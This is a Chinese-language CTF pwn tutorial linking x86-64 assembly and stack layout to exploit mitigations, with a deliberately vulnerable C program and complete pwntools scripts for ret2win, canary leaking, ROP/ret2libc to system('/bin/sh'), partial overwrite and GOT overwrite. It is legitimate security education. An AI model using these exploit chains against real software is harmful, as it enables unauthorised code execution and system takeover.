这篇笔记想做的事,是把「汇编基础」和「保护机制」两条线接起来。目标不是背指令表,而是让你看到一段
read(0, buf, 256)时,脑子里能自动浮现出栈的布局、返回地址的位置,以及这道题可能开了哪些保护、该从哪里下手。全文以 x86-64 Linux 为主,32 位的差异单独标出。
零、先记住这几条
后面的内容都可以慢慢推,但下面这几条建议直接记住,能在读题时帮你定方向:
call=push 返回地址+jmp,ret=pop rip。返回地址天然就在栈上——这是栈溢出的全部根源。- 从缓冲区到返回地址的偏移,等于「缓冲区大小 + canary(若有)+ saved rbp」,但一定要在 gdb 里实测,不要凭源码猜。
- Canary 的最低位恒为
0x00。泄露出这 7 个随机字节后,拼回去时要把0x00放在最低地址(最前面)。 - ASLR / PIE 只随机页基址,页内偏移不变,所以「部分覆写」有效。
- NX 的本质是「不许执行你写的代码」,对应解法是代码复用(ROP / ret2libc),而不是想办法执行栈上的 shellcode。
- 拿到二进制第一步永远是
checksec。保护机制决定利用策略,顺序不能反。
一、为什么 Pwn 要先看汇编
栈溢出利用的本质,是用数据覆盖栈上的返回地址,从而劫持执行流。但有三个问题,只读 C 源码永远回答不了:
- 返回地址为什么在栈上?
- 要覆盖多少字节才能刚好碰到它?
- Canary 的检查在汇编里长什么样,为什么踩坏它就会崩?
这些都必须在汇编层面才有答案。所以学习路径是这样的:
C 源码 → 编译成汇编 → 理解寄存器与栈
→ 理解函数调用 → 理解栈溢出
→ 理解保护机制 → 学会绕过
配套的动手习惯:写完一个 C 小函数就 gcc -S 看一遍汇编,再 gdb 里 disassemble 对着看。看多了,汇编和栈的映射会变成直觉。
二、寄存器:CPU 手里的「变量」
寄存器是 CPU 内部的小存储单元,访问速度远快于内存。x86-64 下最常打交道的几类:
2.1 通用寄存器与传参(System V AMD64)
| 寄存器 | 作用 |
|---|---|
rdi | 第 1 个整数参数 |
rsi | 第 2 个整数参数 |
rdx | 第 3 个整数参数 |
rcx / r8 / r9 | 第 4~6 个整数参数 |
rax | 返回值;mul / div 的隐含操作数 |
rsp | 栈顶指针,永远指向当前栈顶 |
rbp | 栈帧基址,用来定位局部变量 |
rip | 指令指针,指向下一条要执行的指令,一般不直接改 |
逆向时看到
mov edi, 2,就是在给第 1 个参数赋值(Linux 下)。看到mov rdi, [rbp-0x8],就是把一个指针/64 位值传给第 1 个参数。
2.2 寄存器的「宽度别名」
同一个寄存器可以按不同宽度访问,这是 x86-64 兼容历史留下的设计:
rdi (64 位)
├── edi (低 32 位)
│ ├── di (低 16 位)
│ │ └── dil (低 8 位)
所以 int 参数用 edi 传,指针参数用 rdi 传——参数类型决定用多宽的寄存器。写地址时如果误用 edi,高 32 位会被清零,地址就废了。这是写 ROP 链时很常见的一类坑。
2.3 标志位寄存器
cmp、test、sub、add 等指令会修改标志位。最常用的是:
| 标志 | 含义 |
|---|---|
| ZF(零标志) | 结果为 0 时置 1 |
| SF(符号标志) | 结果为负时置 1 |
| OF(溢出标志) | 有符号运算溢出时置 1 |
| CF(进位标志) | 无符号运算进位/借位时置 1 |
cmp eax, ebx 等价于做 eax - ebx 但不保存结果,只更新标志位。两者相等时结果为 0,ZF = 1,随后 je 就会跳转。
三、常用指令速查
3.1 数据搬运
| 指令 | 含义 |
|---|---|
mov dst, src | 把 src 复制到 dst |
lea dst, [addr] | 计算有效地址存进 dst,不访问内存 |
push src | sub rsp, 8 + mov [rsp], src |
pop dst | mov dst, [rsp] + add rsp, 8 |
lea 不访存这点很关键:lea rdi, .LC0[rip] 只是把字符串 "hello world" 的地址放进 rdi,正好作为 printf 的第一个参数。如果写成 mov rdi, .LC0[rip] 就成了取值,语义完全不同。
3.2 算术与逻辑
| 指令 | 含义 |
|---|---|
add a, b | a = a + b |
sub a, b | a = a - b |
imul / idiv | 有符号乘 / 除 |
and / or / xor | 位运算 |
cmp a, b | 等价 a - b,只改标志位 |
test a, b | 等价 a & b,只改标志位 |
3.3 控制流
| 指令 | 含义 |
|---|---|
jmp addr | 无条件跳转 |
je addr | ZF=1 时跳(相等) |
jne addr | ZF=0 时跳(不等) |
jg / jge / jl / jle | 有符号比较跳转 |
ja / jae / jb / jbe | 无符号比较跳转 |
call func | push rip + jmp func |
ret | pop rip |
call 和 ret 这两条,就是理解栈溢出的钥匙。
四、栈与函数调用:返回地址从哪来
4.1 栈的基本约定
程序启动时内核分配一段栈内存。rsp 初始指向栈的高地址,栈向低地址方向生长:
高地址
+------------------+
| 已使用的栈 |
+------------------+ <- rsp(栈顶)
| |
| 未使用的栈 |
+------------------+
低地址
所以「压栈」是 rsp 减小,「出栈」是 rsp 增大。这一点在画栈布局时最容易搞反。
4.2 函数调用的完整过程
以 add(2, 3) 为例,去掉优化后的汇编大致是:
main:
push rbp
mov rbp, rsp
mov esi, 3 ; 第 2 个参数
mov edi, 2 ; 第 1 个参数
call add
...
add:
push rbp
mov rbp, rsp
mov DWORD PTR [rbp-4], edi ; 保存参数 a
mov DWORD PTR [rbp-8], esi ; 保存参数 b
mov edx, DWORD PTR [rbp-4]
mov eax, DWORD PTR [rbp-8]
add eax, edx ; eax = a + b
pop rbp
ret
把 call add 拆开看:
push rip ; 把 call 的下一条指令地址压栈
jmp add ; 跳到 add
把 ret 拆开看:
pop rip ; 把栈顶的值弹回 rip
所以返回地址就在栈上,是 call 指令压进去的。 函数执行完 ret 把它弹回 rip,程序就回到调用点继续。我们要劫持执行流,改的就是这个值。
4.3 栈帧布局
函数执行期间,栈大致是这样:
高地址
+------------------+
| 调用者的栈 |
+------------------+
| 返回地址 | <- call 压入
+------------------+
| saved rbp | <- push rbp 压入
+------------------+ <- rbp 指向这里
| 局部变量 | <- 如 add 的 a、b
| ... |
+------------------+ <- rsp
低地址
push rbp; mov rbp, rsp 这两句就是在建立「栈帧」:先把调用者的 rbp 保存到栈上,再用 rbp 标记当前栈帧的基准位置。之后就能用 [rbp-4]、[rbp-8] 这种稳定偏移访问局部变量——因为 rsp 会随着 push/pop 变化,而 rbp 在函数执行期间不变。
对应地,函数返回时的 leave 指令:
leave ; 等价于 mov rsp, rbp; pop rbp
它把栈顶恢复到栈帧起点,pop rbp 还原调用者的栈帧,然后 ret 弹出返回地址。
4.4 32 位与 64 位的区别
| 64 位 | 32 位 | |
|---|---|---|
| 参数传递 | 前 6 个用寄存器 rdi, rsi, rdx, rcx, r8, r9,多余的上栈 | 全部通过栈传递 |
| 栈清理 | 由被调函数负责 | 由调用者负责(cdecl) |
| 返回地址位置 | rbp + 8 | ebp + 4 |
; 32 位下 add(1, 2)
push 2
push 1
call add
add esp, 8 ; 调用者清理参数
这个差异在写 ROP 链时非常关键:64 位需要 pop rdi; ret 这类 gadget 来布置参数,32 位则直接把参数写在栈上。
4.5 x86-64 的 16 字节对齐
这是新手最容易踩、也最难自己发现的坑。
System V ABI 要求:执行 call 之前,rsp 必须是 16 字节对齐的。call 会把 8 字节返回地址压栈,所以进入函数时 rsp % 16 == 8。
为什么重要?因为 system() 内部会执行 movaps 这类 SSE 指令,它要求内存地址 16 字节对齐,不对齐就直接 SIGSEGV。表现就是:明明 ROP 链逻辑正确,system 一进去就崩,而且崩的地方不在你的 gadget 上。
解决办法是在 pop rdi; ret 和 system 之间插一条单独的 ret gadget,让栈再偏移 8 字节:
pop rdi; ret ; 弹掉 /bin/sh 地址,rsp 前进 8
ret ; 再前进 8,把对齐补回来
system ; 此时 rsp 已 16 字节对齐
五、从汇编看栈溢出
把前面的知识用到一个漏洞程序上:
void win() { execve("/bin/sh", 0, 0); }
int main() {
char name[64];
read(0, name, 65);
puts(name);
read(0, name, 256);
return 0;
}
两个 read,第一个读 65 字节(比缓冲区多 1,为后面泄露 canary 埋了伏笔),第二个读 256 字节,远超 64 字节的缓冲区,这就是溢出点。
5.1 未开 Canary 时的栈帧
main:
push rbp
mov rbp, rsp
sub rsp, 0x40 ; 给 name[64] 分配 64 字节
lea rax, [rbp-0x40] ; name 的地址 = rbp - 0x40
...
call read
...
leave ; mov rsp, rbp; pop rbp
ret
对应布局:
高地址
+------------------+
| 返回地址 | <- rbp + 8
+------------------+
| saved rbp | <- rbp
+------------------+
| name[0..63] | <- rbp - 0x40
+------------------+ <- rsp
低地址
5.2 偏移怎么算
从 name 开头到返回地址:
64 (name) + 8 (saved rbp) = 72
所以 payload 是:
payload = b'A' * 72 + p64(win_addr)
main 执行到 ret 时,pop rip 弹出的是我们写的 win_addr,程序就跳到 win() 执行 execve("/bin/sh"),拿到 shell。这就是最基础的 ret2win。
⚠️ 72 这个数字只对「这段源码 + 这个编译结果」成立。不同编译器、不同优化级别、不同缓冲区大小都会变。实战里永远用 gdb 量偏移,不要背数字。
5.3 第一个 read 多读 1 字节的意义
read(0, name, 65); // name 只有 64 字节
puts(name);
多出的 1 字节正好落在 name[64]。在没开 Canary 的版本里,它是填充或 saved rbp 的最低字节,意义不大;但在开了 Canary 的版本里,它就正好是 canary 的最低位——这是泄露 canary 的关键。后面第七节会详细展开。
六、保护机制:编译器与系统在防什么
checksec 是分析题目的第一步:
checksec ./pwn
输出里主要关注四项:
| 保护 | 防的是什么 | 对应攻击面 |
|---|---|---|
| Canary | 栈上返回地址被悄悄覆盖 | 栈溢出 |
| PIE | 程序自身代码地址可预测 | 硬编码地址、ret2win |
| NX | 栈/堆上的数据被当代码执行 | 注入 shellcode |
| RELRO | GOT 表被篡改 | GOT 覆写 |
ASLR 不在 checksec 的输出里,它是系统级开关(/proc/sys/kernel/randomize_va_space),默认开启,控制 libc、栈、堆的基址随机化;PIE 则是程序级的,相当于让可执行文件自身也参与随机化。
四项保护各管一段,互相之间不能替代:开了 Canary 不代表地址不可猜(那是 PIE 的事),开了 NX 也不代表 GOT 不能改(那是 RELRO 的事)。
七、Canary:栈上的「哨兵」
7.1 原理
Canary 是编译器自动插入的一个随机值(源码里完全看不到)。程序启动时从 fs:0x28 取一次,函数入口存到栈上,返回前再取一次做比较:
mov rax, qword ptr fs:[0x28] ; 取原始 canary
mov qword ptr [rbp-0x8], rax ; 函数入口:存到栈上
... ; 函数体,中间可能发生溢出
mov rax, qword ptr [rbp-0x8] ; 函数返回前:读栈上的 canary
xor rax, qword ptr fs:[0x28] ; 和原始值比较
je ok ; 相等才继续
call __stack_chk_fail ; 不相等直接 abort
注意顺序:canary 在 [rbp-0x8],返回地址在 [rbp+8]。如果想溢出到返回地址,数据必须先穿过 canary 所在的 8 字节——除非我们原样写回去。
7.2 开了 Canary 之后的真实栈帧
这里有个容易被忽略的细节:编译器会调整缓冲区位置,让 canary 紧贴缓冲区尾部。还是同一个 char name[64],开了 Canary 后通常是:
main:
push rbp
mov rbp, rsp
sub rsp, 0x50 ; 空间变大
mov rax, qword ptr fs:[0x28]
mov qword ptr [rbp-0x8], rax ; canary 在 rbp-0x8
lea rax, [rbp-0x48] ; name 被挪到 rbp-0x48
...
布局变成:
高地址
+------------------+
| 返回地址 | <- rbp + 8
+------------------+
| saved rbp | <- rbp
+------------------+
| canary (8B) | <- rbp - 0x8
+------------------+
| name[0..63] | <- rbp - 0x48
+------------------+ <- rsp
低地址
name 起点是 rbp-0x48,正好让 name[64] 落在 rbp-0x8,也就是 canary 的第一字节。这不是巧合,是编译器的对齐安排,正好被 read(0, name, 65) 利用了。
此时从 name 到返回地址的偏移:
64 (name) + 8 (canary) + 8 (saved rbp) = 80
再强调一次:
0x48、0x8、0x50都是常见的编译结果,但不是保证。开-O2、换 gcc 版本、改缓冲区大小,都可能变。用 gdbstack或p &name确认。
7.3 Canary 的字节结构
+------+------+------+------+------+------+------+------+
| 0x00 | rnd1 | rnd2 | rnd3 | rnd4 | rnd5 | rnd6 | rnd7 |
+------+------+------+------+------+------+------+------+
^ 最低地址,恒为 0x00
最低字节固定为 0x00,目的是让 puts、printf("%s")、strcpy 这类以 \0 结尾的函数打到 canary 就停住,防止被顺手打印出来。
这也带来一个可利用的特性:只要把这一个字节改成非 0,字符串函数就会继续往后读,把后面 7 个随机字节一起打出来。
7.4 泄露 Canary:吃掉多读的那 1 字节
漏洞代码里的 read(0, name, 65) 正好满足条件。
第一步:发 64 个 A + 1 个非零字节
p.send(b'A' * 64 + b'B')
name[64](也就是 canary 第 1 字节)从 0x00 变成 'B'。
第二步:puts(name) 打印
从 name[0] 开始打,64 个 A 之后遇到 'B' 继续打,接着把 canary 后面 7 个随机字节一起打出来,直到碰到下一个 0x00 才停。
打印出来的内容(不含换行)正好是 72 字节:
[0..63] 'A' × 64
[64] 'B' ← 被我们覆盖的 canary 第 1 字节
[65..71] canary[1..7] ← 泄露出来的 7 个随机字节
第三步:拼接
leak = p.recvline().rstrip(b'\n')
canary = u64(b'\x00' + leak[65:72]) # ✅ 0x00 放最低地址
canary = u64(leak[65:72].rjust(8, b'\x00')) # ✅ 等价写法
canary = u64(leak[65:72].ljust(8, b'\x00')) # ❌ 0x00 跑到了最高地址
u64 按小端解析,所以 b'\x00' + 7字节 表示最低字节是 0x00,这正是 canary 的真实结构。用 ljust 会把 0x00 补在高位,值完全错。
第四步:带着正确 canary 溢出
payload = b'A' * 64
payload += p64(canary) # 原样写回,骗过检查
payload += b'B' * 8 # 覆盖 saved rbp
payload += p64(win_addr) # 覆盖返回地址
p.send(payload)
7.5 完整泄露脚本
from pwn import *
context(arch='amd64', os='linux', log_level='info')
elf = ELF('./pwn')
p = process('./pwn')
# 1. 泄露 canary
p.send(b'A' * 64 + b'B')
leak = p.recvline().rstrip(b'\n')
canary = u64(b'\x00' + leak[65:72])
assert canary & 0xff == 0, "canary 最低位应为 0,泄露有误"
log.success(f"canary = {canary:#018x}")
# 2. 溢出
payload = b'A' * 64
payload += p64(canary)
payload += b'B' * 8
payload += p64(elf.symbols['win'])
p.send(payload)
p.interactive()
assert canary & 0xff == 0这一行建议养成习惯——它能第一时间告诉你泄露是不是取错了位置。
7.6 常见坑
| 坑 | 说明 |
|---|---|
canary 随机字节里含 0x0a | recvline() 会提前截断,改用 recv 按固定长度取 |
canary 随机字节里含 0x00 | puts 提前停止,泄露不完整,重跑程序即可(概率约 2.7%) |
0x00 拼接位置错 | 必须放最低地址(leak 最前面),不是最后 |
多发了一个 \n | read 是二进制读,不需要换行;多余字节会被第二次 read 吃掉,破坏 payload |
| 偏移照抄 80 | 换个编译器就不是 80,必须实测 |
那 2.7% 怎么来的:canary 有 7 个随机字节,只要有一个是 0x00,puts 就会提前停。概率是 1 - (255/256)^7 ≈ 2.70%。遇到就直接重连,成本很低。
八、ASLR 与 PIE:地址随机化
8.1 两者的区别
| ASLR | PIE | |
|---|---|---|
| 层面 | 系统级 | 程序级(编译选项) |
| 随机化对象 | libc、栈、堆、mmap 区 | 可执行文件自身的代码段 |
| 关闭方式 | echo 0 > /proc/sys/kernel/randomize_va_space | 编译时 -no-pie |
PIE 可以理解为「专门给主程序开的 ASLR」。开了 PIE,win() 的地址每次运行都不同,p64(0x401132) 这种硬编码就失效了。
8.2 共同弱点:只随机页基址
随机化以**页(4KB)**为单位。页内偏移是固定的,这引出了三种绕过思路。
① 信息泄露(首选)
只要能泄露任意一个已知符号的地址,就能反推基址:
pie_base = leaked_addr - elf.symbols['main'] # PIE 基址
libc_base = leaked_puts - libc.symbols['puts'] # libc 基址
注意 leaked_addr & ~0xfff 只能得到页对齐的基址,前提是泄露的地址恰好就是基址本身;更可靠的做法是减去符号偏移。
② Partial Overwrite(部分覆写)
只覆盖地址的最低 1~2 字节。前提是当前返回地址和目标函数落在同一页,页内偏移不变,高位原封不动。
当前返回地址 0x4011a0 → 目标 win() 0x401132
低 2 字节: 0xa0 0x11 → 0x32 0x11
因为是小端,payload 末尾写 b'\x32\x11' 即可(前面用 A 填到位)。这样完全不需要泄露地址。
③ 爆破
ASLR / PIE 的熵有限。在目标 fork 子进程、或允许高频崩溃(远程连接便宜)的情况下,可以逐个尝试。1 字节成功率 1/256,半字节 1/16。
九、NX:栈不可执行
NX(No-eXecute,Windows 上叫 DEP)把栈、堆标记为不可执行。往栈上写 shellcode 再跳过去执行,这条路就断了。
核心思路转向代码复用:不注入新代码,而是把程序里已有的代码片段拼起来用。
9.1 ROP(Return-Oriented Programming)
ROP 用一连串以 ret 结尾的 gadget 拼出任意功能。每个 gadget 执行一小段逻辑,然后 ret 把栈上下一个地址弹进 rip,形成链式调用。
目标是执行 system("/bin/sh"):
pop rdi; ret ; 把 /bin/sh 地址弹入 rdi(第 1 个参数)
ret ; 补 16 字节栈对齐
system ; 调用 system("/bin/sh")
对应 payload:
payload = b'A' * offset
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(ret_gadget) # 对齐用
payload += p64(system_addr)
找 gadget 常用 ROPgadget 或 pwntools:
ROPgadget --binary ./pwn --only "pop|ret"
rop = ROP(elf)
rop.call('puts', [elf.got['puts']]) # 泄露 libc 地址
rop.call('main') # 返回 main 再打一次
print(rop.dump())
9.2 ret2libc
ROP 最常见的形态:返回到 libc 里的 system,并把 /bin/sh 的地址布置到 rdi。前提是已知 libc 基址——通常先用 puts 泄露某个 libc 函数(比如 puts@got)的真实地址,减去已知偏移得到基址,再算 system 和 /bin/sh 的位置。
9.3 mprotect + shellcode
先用 ROP 调 mprotect 把 shellcode 所在的内存页改成可读可写可执行(rwx),再跳过去执行。适合 shellcode 较短、且目标内存地址已知(比如 .bss 段)的场景。
十、RELRO:GOT 写保护
GOT(Global Offset Table)存的是外部函数的真实地址,程序调用 printf 时会先查 printf@got。如果能改写这张表,就能让某个函数调用变成任意函数调用。
10.1 Partial RELRO
.got.plt 仍然可写。经典玩法是GOT 覆写:把 printf@got 改成 system,下次程序调用 printf("...") 时实际执行的就是 system("...")。如果再让 printf 的参数变成 "/bin/sh",就是一个 shell。
10.2 Full RELRO
启动时解析所有符号,然后把整个 GOT 段设为只读。GOT 覆写彻底失效,只能转向 RELRO 保护不到的区域:
| 目标 | 说明 |
|---|---|
__exit_funcs / _IO_list_all | libc 数据段,程序退出或刷新流时触发(FSOP) |
__free_hook / __malloc_hook | glibc < 2.34 可用,2.34+ 已移除 |
| C++ vtable | 虚表指针劫持,不受 GOT RELRO 影响 |
ret2dlresolve | 伪造动态链接结构,诱使 _dl_runtime_resolve 解析任意函数,不需要可写 GOT |
十一、把知识串起来:完整解题流程
1. checksec → 确认 Canary / PIE / NX / RELRO
2. 读源码 / 反汇编 → 找漏洞点、后门函数、泄露点
3. 量偏移 → gdb 确定 buf 到返回地址的距离
4. 信息泄露 → 绕过 Canary / ASLR / PIE
5. 构造 ROP 链 → 绕过 NX
6. 选择劫持目标 → 按 RELRO 等级选 GOT / __exit_funcs / vtable
7. 发送 payload → 拿 shell
最小利用链(无 Canary、无 PIE)
payload = b'A' * 72 + p64(win_addr)
完整利用链(有 Canary)
# 泄露
p.send(b'A' * 64 + b'B')
leak = p.recvline().rstrip(b'\n')
canary = u64(b'\x00' + leak[65:72])
# 溢出
payload = b'A' * 64 + p64(canary) + b'B' * 8 + p64(win_addr)
p.send(payload)
11.1 怎么在 gdb 里量偏移
不要靠数源码,用工具量:
# 方法一:手动看栈
gdb ./pwn
b main
r
pattern create 200 # pwndbg 插件
c
# 触发溢出后:
pattern offset $rsp # 直接给出偏移
# 方法二:看局部变量地址
gdb ./pwn
b *main+0x???
p &name
p $rbp
# 偏移 = $rbp - &name + 8
# 方法三:pwntools 里直接算
from pwn import *
elf = ELF('./pwn')
cyclic(200) # 生成去重模式串
cyclic_find(0x61616168) # 根据崩溃时的值反查偏移
十二、关键记忆点
call=push rip+jmp,ret=pop rip——返回地址天然在栈上,这是栈溢出的根源。- 偏移算法:无 Canary =
buf + 8;有 Canary =buf + 8 + 8。但必须实测,编译器会调整缓冲区位置。 - Canary 最低字节恒为
0x00。泄露时用多读的 1 字节顶掉它,puts才能继续打印;拼回时0x00放最前面。 - ASLR / PIE 只随机页基址 → Partial Overwrite 只需改低 1~2 字节。
- NX 绕过 = 代码复用(ROP / ret2libc),不是执行栈上代码。
- x86-64 调
system前注意 16 字节对齐,否则movaps崩。 - Full RELRO 下 GOT 只读 → 转向
__exit_funcs、_IO_list_all、vtable、ret2dlresolve。 - 分析题目第一步永远是
checksec,保护机制决定策略。
十三、建议的练习路线
① 写 hello world / add / if / for 的 C 代码
→ gcc -S 看汇编 → 对照理解寄存器与跳转
② 手画函数调用栈帧图,标出 rsp / rbp / 返回地址 / canary
③ 做无保护的 ret2win 题,用 gdb 实测偏移
④ 做开 Canary 的题,练泄露与拼接
⑤ 做开 NX 的题,学 ROP 与 ret2libc
⑥ 做开 PIE + Full RELRO 的题,学泄露基址与 vtable / ret2dlresolve
每一步都建议用 gdb 附加,stack 看栈、info registers 看寄存器、x/20gx $rsp 看内存,把「汇编 ↔ 栈 ↔ payload」三者的对应关系真正建立起来。
做到看到一段 payload 就能在脑中画出栈布局,入门就算过了。
附:速查清单
| 现象 | 可能原因 |
|---|---|
| 溢出后程序没进 shell,直接 abort | Canary 被踩坏,检查是否正确写回 |
system 进去就 SIGSEGV,崩在 movaps | 栈没 16 字节对齐,插一条 ret |
| 泄露出的 canary 最低位不是 0 | 取的偏移错了,重新确认 name 到 canary 的距离 |
| 硬编码地址失效,每次都不一样 | 开了 PIE / ASLR,需要泄露基址 |
| ROP 链执行到一半乱跳 | gadget 里误用了 edi 等 32 位寄存器,地址被截断 |
| GOT 改写不生效 | 开了 Full RELRO,GOT 只读 |

说些什么吧!